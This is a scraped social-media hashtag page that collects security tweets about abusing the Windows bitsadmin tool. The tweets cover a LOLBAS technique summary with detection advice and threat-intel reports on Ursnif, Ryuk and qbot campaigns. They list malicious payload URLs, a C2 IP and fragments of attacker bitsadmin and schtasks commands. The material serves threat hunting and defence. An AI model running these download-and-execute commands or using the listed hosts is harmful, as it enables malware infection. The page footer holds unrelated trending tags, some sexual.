Top Tweets for #Bitsadmin
📡 Abusing #bitsadmin for Covert Execution
Bitsadmin, a deprecated but still-present Windows binary, was originally designed to manage file transfers in the background using the Background Intelligent Transfer Service (BITS). Despite its benign purpose, it can be abused as a Living-Off-The-Land Binary and Script (#LOLBAS) to download and execute arbitrary payloads, disguise persistence, and evade detection through alternate data streams (ADS).
This behavior aligns with multiple MITRE ATT&CK® techniques such as T1105 (Ingress Tool Transfer), T1218 (System Binary Proxy Execution), and T1564.004 (NTFS File Attributes - ADS).
---
🧱 #Technique Breakdown
bitsadmin can be abused in multiple use cases such as:
> File #Download: Arbitrary executables (e.g., calc.exe) can be downloaded from remote sources and saved locally.
> Command #Execution: Once downloaded, payloads can be executed via SetNotifyCmdLine, triggering binary execution upon job completion.
> #Persistence via ADS: Code can be hidden in NTFS alternate data streams.
> #Proxy Execution: As a trusted Windows binary, bitsadmin.exe can serve as an indirect launcher, bypassing some application control policies.
---
🐍 PoC Automation via #Python
The following script automates the entire exploit chain:
> Sets up a local HTTP server to host the payload
> Downloads the payload using bitsadmin
> Executes it via a SetNotifyCmdLine callback
> Cleans up all artifacts post-execution
This method avoids the need for dropping new executables by leveraging signed Windows tools, making detection significantly harder.
- Project @ Github: https://t.co/Uakn7c3l8h
---
🔍 #Detection & #Mitigation
> Monitor bitsadmin.exe child process activity.
> Look for job creation with suspicious file transfers or ADS involvement.
> Restrict or disable usage of bitsadmin.exe via AppLocker or WDAC.
> Monitor NTFS alternate data streams and flag execution attempts.
- https://t.co/thWuQ5nVnK
#CyberSecurity #LOLBAS #OffensiveSecurity #RedTeam #PenetrationTesting #BlueTeam #InfoSec #Offsec #Logisek
A #mustread #howto for #threathunting on Windows systems
#TrustEverybodyButCutTheCards
#DLLhijacking #WindowsManagementInstrumentation #WMI #ComponentObjectModel #COM #exploit #mitreattack #BITSadmin
The Art of Windows #Persistence
@arimaqz, @kryolite_secure, @Hadess_security
Using #bitsadmin for #C2 communications isn’t the stealthier way of working but… if it works! ;-) #Botconf2023
Campagna 🇮🇹 #Ursnif a tema #AgenziaEntrate utilizza #bitsadmin
📬 Oggetto: "Commissione di vigilanza sul registro tributario"
⚔️ TTP:
Email > Link > RAR > HTA > bitsadmin > DLL
💣 Disponibili gli #IoC 👇
🔗 https://t.co/A2eHTdOfPm
Telegram: https://t.co/KfItBVeWTQ
#cybercrime, campagna #Ursnif in #Italia via #AgenziadelleEntrate. L’allegato zip nella mail contiene un file #HTA. Questo tramite #bitsadmin contatta un unico url e scarica la dll, avviando l’infezione del #Malware. #CyberSecurity #infosec @JAMESWT_MHT https://t.co/xrJOsEPiDO
#cybercrime, campagna #Ursnif in #Italia via #agenziadelleentrate. L’allegato zip nella mail contiene un file #HTA. Questo tramite #bitsadmin contatta un unico url e scarica la dll, avviando l’infezione del #malware. #cybersecurity #infosec #jameswt https://t.co/K6sQkYSR8j
#Ursnif/#Gozi> #INPS come esca in doppia campagna per veicolare il #bankingtrojan: messaggi simili, allegato #zip per entrambi; cambia il vettore d'infezione. L'analisi di @JAMESWT_MHT nell'articolo di @FBussoletti 👉🏽https://t.co/IL9NOuB45m #powershell #bitsadmin #cybersecurity
#malspam 🇮🇹 PEC with #bitsadmin #powershell drops #sload ver=4.2.6 gtag=x2401
🧐🧐🧐
@malwrhunterteam @reecdeep @James_inthe_box @JAMESWT_MHT @malware_traffic @Racco42 @makflwana @pollo290987
#MalwareAnalysis: Activists Turn #Hacktivists, New #Ransomware That Does Not Demand Money
https://t.co/VOi4KIXO4C
@quickheal
𝞝
#Enterprises #Organizations
#Malware #SARBLOH
#CyberThreats #Bitsadmin
#InfoSec #CyberSecurity
#Hiberfil #Encryption
#KhalsaCyberFauj
#CyberAttacks
#hta with plain #VBScript -> #bitsadmin (VT 3/58)
159355ff86aed19de50f3e78800f3749030f832521a93c2460a8dcca43d3c4e2
#njrat https[://filetransfer.io/data-package/yovW0lpr/download
#Avvadon: nuova versione del #ransomware viene veicolata tramite la #botnet #phorpiex(trik) in campagna #malspam. Gli Indicatori di Compromissione e i consigli del @csirt_it HT @FBussoletti https://t.co/EPfr8SwhHx #JavaScript #Powershell #Bitsadmin #cybersecurity @eteria_cloud
#RYUK is active once again. Confirmed #Cobalt hosted on jomamba[.]best IP 95.179.219[.]169 | Interesting usage of #bitsadmin instead of vintage COPY commands. Worth auditing #BITS usage!
![vikas891's tweet photo. #RYUK is active once again. Confirmed #Cobalt hosted on jomamba[.]best IP 95.179.219[.]169 | Interesting usage of #bitsadmin instead of vintage COPY commands. Worth auditing #BITS usage! https://t.co/PdmvXWIXto](https://pbs.twimg.com/media/EQ-QkH8U4AAoXTl.png)
@VirITeXplorer @JAMESWT_MHT @58_158_177_102 @BleepinComputer @virusbtn @demonslay335 @struppigel @peterkruse @fwosar @martijn_grooten @malwrhunterteam I would also add that Ryuk is spread via the initial TrickBot installs through Powershell Empire and/or Cobalt Strike framework specifically. Emotet is not a "banking Trojan"; it had "banking malware" capabilities in ~2014 moving more into loader-as-a-service since.
#Sload campaign using #bitsadmin targets #Italy
https://t.co/bEfZNj4zDx
@JAMESWT_MHT
@malwrhunterteam
@luc4m
@JayTHL
@dvk01uk
@JRoosen
@reecdeep
@James_inthe_box
#Bitsadmin es una utilidad de transferencia en segundo plano incluido en Windows desde XP, facilita la transferencia asíncrona y acelerada de archivos que usan ancho de banda de red inactivo. Lo usan muchas apps como Chrome, Firefox, Windows Update y cientos de malwares...
#interesting sample
https://t.co/Ht0HJWsz8O
IOCs
https://t.co/ejndfpOF2c
#bitsadmin + #certutil
@James_inthe_box @kafeine @malwrhunterteam @Arkbird_SOLG @VK_Intel
#VBScript utilizes #bitsadmin to dl #PE (seems to be #qbot)
hxxp://proto.thriftyhealthyandhappy.com/scintillating.png
hxxp://ank.tastywieners.com/ubiquitous.png
hxxp://horse.tastywienersonwheels.com/nouveau-riche.png
hxxp://old.oshkoshrugby.com/caustic.png
url + ?bg=sp39&os=&av=
"Relazione di notifica atto" #ursnif #italy with #bitsadmin /transfer msd5 /priority foreground /dod.suze10n1.com/pagjory63.php
yet with link to #googledrive fake pdf ->
/dod.suzienow.com/jogghfptu=w?bqa=3
https://t.co/7ZD0hcEQLt
https://t.co/NyfxyL0mms
@VirITeXplorer @CertPa
"Relazione di notifica atto"
#ursnif #italy with #bitsadmin /transfer msd5 /priority foreground /bob.suzetrust.com/pagjory63.php and schtasks /create /st 16:05 /sc once /tn pUm /tr
Samples (vbs and payload)
https://t.co/HX5MFDBpap
@CertPa @VirITeXplorer @SettiDavide89
interesting #malicious #xls (simple structure) using #DDE -> drops #vbs -> runs cmd commands -> #bitsadmin -> #PE
/rroun-nourr.ga//files/Quotation.exe
Interesting part: server is #opendir and has a #webshell (#WSO 2.6). u can dl the #phishing kit & move arround ; )
Last Seen Hashtags on Sotwe
سالب_الرياض_نحيف_الرياض_مبادل_الرياض_موجب_الرياض
Seen from Kuwait
nolimit filter:native_video since:2026-07-09
bootmistress
Seen from Germany
bigtits
Seen from Germany
gaziantepeskort
Seen from Belgium
realmomson
Seen from Germany
mrunalthakur
Seen from India
Onlyfansthail
Seen from Egypt
ThatsSoBates
Seen from Indonesia
Leaders
Seen from United States
Most Popular Users
Elon Musk 
@elonmusk
240.8M followers
Barack Obama
@barackobama
119.2M followers
Donald J. Trump
@realdonaldtrump
111.7M followers
Cristiano Ronaldo
@cristiano
111.1M followers
Narendra Modi
@narendramodi
107M followers
Rihanna
@rihanna
97.8M followers
NASA
@nasa
92.2M followers
Justin Bieber
@justinbieber
91M followers
KATY PERRY
@katyperry
87.9M followers
Taylor Swift
@taylorswift13
81.8M followers
Lady Gaga
@ladygaga
73.3M followers
Virat Kohli
@imvkohli
70.3M followers
Kim Kardashian
@kimkardashian
69.9M followers
YouTube
@youtube
68.7M followers
Bill Gates
@billgates
64M followers
Neymar Jr
@neymarjr
63.1M followers
The Ellen Show
@theellenshow
62.4M followers
CNN
@cnn
61.9M followers
Selena Gomez
@selenagomez
61M followers
X
@x
60.8M followers